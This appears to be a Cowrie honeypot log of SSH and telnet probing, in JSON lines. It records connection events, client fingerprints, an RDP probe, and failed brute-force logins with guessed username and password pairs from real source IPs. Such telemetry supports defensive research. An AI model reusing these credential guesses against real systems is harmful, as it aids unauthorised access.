{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35290,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8389021189","protocol":"telnet","message":"New connection: 152.42.224.71:35290 (10.17.0.5:23) [session: 8c8389021189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:38.579062Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"352eadb7bb20","protocol":"telnet","message":"New connection: 152.42.224.71:35296 (10.17.0.5:23) [session: 352eadb7bb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:39.591997Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":32814,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a08ba8b057f","protocol":"ssh","message":"New connection: 103.27.238.116:32814 (10.17.0.5:22) [session: 8a08ba8b057f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:43.191504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:43.196001Z","src_ip":"103.27.238.116","session":"8a08ba8b057f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:43.475358Z","src_ip":"103.27.238.116","session":"8a08ba8b057f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986","message":"login attempt [root/1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:44.314059Z","src_ip":"103.27.238.116","session":"8a08ba8b057f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"13f0c8ee4eee","protocol":"telnet","message":"New connection: 152.42.224.71:35310 (10.17.0.5:23) [session: 13f0c8ee4eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:45.304104Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:45.596401Z","src_ip":"103.27.238.116","session":"8a08ba8b057f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56356,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f246593066a","protocol":"ssh","message":"New connection: 167.172.81.52:56356 (159.203.135.109:22) [session: 6f246593066a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:46.704800Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:46.709693Z","src_ip":"167.172.81.52","session":"6f246593066a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:46.713646Z","src_ip":"167.172.81.52","session":"6f246593066a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f958d5433f","protocol":"ssh","message":"New connection: 147.45.211.215:33580 (10.17.0.5:22) [session: 42f958d5433f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:47.409031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:47.414051Z","src_ip":"147.45.211.215","session":"42f958d5433f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:47.591015Z","src_ip":"147.45.211.215","session":"42f958d5433f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artemka","message":"login attempt [root/artemka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:48.121599Z","src_ip":"147.45.211.215","session":"42f958d5433f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:49.319287Z","src_ip":"147.45.211.215","session":"42f958d5433f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":48068,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d49e738a49","protocol":"ssh","message":"New connection: 94.159.98.239:48068 (159.203.135.109:22) [session: b2d49e738a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:49.844738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:49.852589Z","src_ip":"94.159.98.239","session":"b2d49e738a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:50.147410Z","src_ip":"94.159.98.239","session":"b2d49e738a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqzaq","message":"login attempt [root/zaqzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:51.032862Z","src_ip":"94.159.98.239","session":"b2d49e738a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:52.160733Z","src_ip":"94.159.98.239","session":"b2d49e738a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.1657063961029,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:16:55.786679Z","src_ip":"152.42.224.71","session":"2c84915bb30f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47145414352417,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:01.157265Z","src_ip":"152.42.224.71","session":"9f2cf2f86a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36804,"dst_ip":"10.17.0.5","dst_port":22,"session":"cde36f90e28b","protocol":"ssh","message":"New connection: 193.32.162.145:36804 (10.17.0.5:22) [session: cde36f90e28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:04.584619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:04.592785Z","src_ip":"193.32.162.145","session":"cde36f90e28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:04.703944Z","src_ip":"193.32.162.145","session":"cde36f90e28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:05.098773Z","src_ip":"193.32.162.145","session":"cde36f90e28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:06.199721Z","src_ip":"193.32.162.145","session":"cde36f90e28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.805230379104614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:11.384016Z","src_ip":"152.42.224.71","session":"8c8389021189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.056387424468994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:14.648276Z","src_ip":"152.42.224.71","session":"352eadb7bb20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40354,"dst_ip":"10.17.0.5","dst_port":23,"session":"df08602be657","protocol":"telnet","message":"New connection: 152.42.224.71:40354 (10.17.0.5:23) [session: df08602be657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:20.549741Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40368,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f6f4b989154","protocol":"telnet","message":"New connection: 152.42.224.71:40368 (10.17.0.5:23) [session: 9f6f4b989154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:22.272860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51172,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e40ee1d2efb","protocol":"telnet","message":"New connection: 152.42.224.71:51172 (10.17.0.5:23) [session: 9e40ee1d2efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:44.317910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54752,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0bc0f1cc34","protocol":"telnet","message":"New connection: 152.42.224.71:54752 (10.17.0.5:23) [session: 2b0bc0f1cc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:17:48.187176Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52604,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a4c42df75a","protocol":"telnet","message":"New connection: 152.42.224.71:52604 (10.17.0.5:23) [session: 58a4c42df75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:08.912119Z"}
{"eventid":"cowrie.session.closed","duration":26.401695251464844,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:10.719498Z","src_ip":"152.42.224.71","session":"9e40ee1d2efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.45366358757019,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:13.003285Z","src_ip":"152.42.224.71","session":"df08602be657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.72240328788757,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:14.995170Z","src_ip":"152.42.224.71","session":"9f6f4b989154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.70909333229065,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:15.895982Z","src_ip":"152.42.224.71","session":"2b0bc0f1cc34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0049033164978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:21.528874Z","src_ip":"152.42.224.71","session":"23253308516e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00650191307068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:26.686160Z","src_ip":"152.42.224.71","session":"db543c8831e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"11116f88b16b","protocol":"ssh","message":"New connection: 193.37.70.224:38906 (10.17.0.5:22) [session: 11116f88b16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:32.317384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:32.322735Z","src_ip":"193.37.70.224","session":"11116f88b16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:32.418217Z","src_ip":"193.37.70.224","session":"11116f88b16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666","message":"login attempt [root/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:32.701956Z","src_ip":"193.37.70.224","session":"11116f88b16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:33.799807Z","src_ip":"193.37.70.224","session":"11116f88b16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":51590,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ade3276f2a3","protocol":"ssh","message":"New connection: 50.7.136.106:51590 (10.17.0.5:22) [session: 0ade3276f2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:35.455659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:35.460811Z","src_ip":"50.7.136.106","session":"0ade3276f2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:35.545668Z","src_ip":"50.7.136.106","session":"0ade3276f2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LHY@123.com!","message":"login attempt [root/LHY@123.com!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:35.791790Z","src_ip":"50.7.136.106","session":"0ade3276f2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:36.876553Z","src_ip":"50.7.136.106","session":"0ade3276f2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174570083618,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:45.305719Z","src_ip":"152.42.224.71","session":"13f0c8ee4eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":46490,"dst_ip":"10.17.0.5","dst_port":22,"session":"907f1e739955","protocol":"ssh","message":"New connection: 141.95.34.214:46490 (10.17.0.5:22) [session: 907f1e739955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:57.794872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:57.802954Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
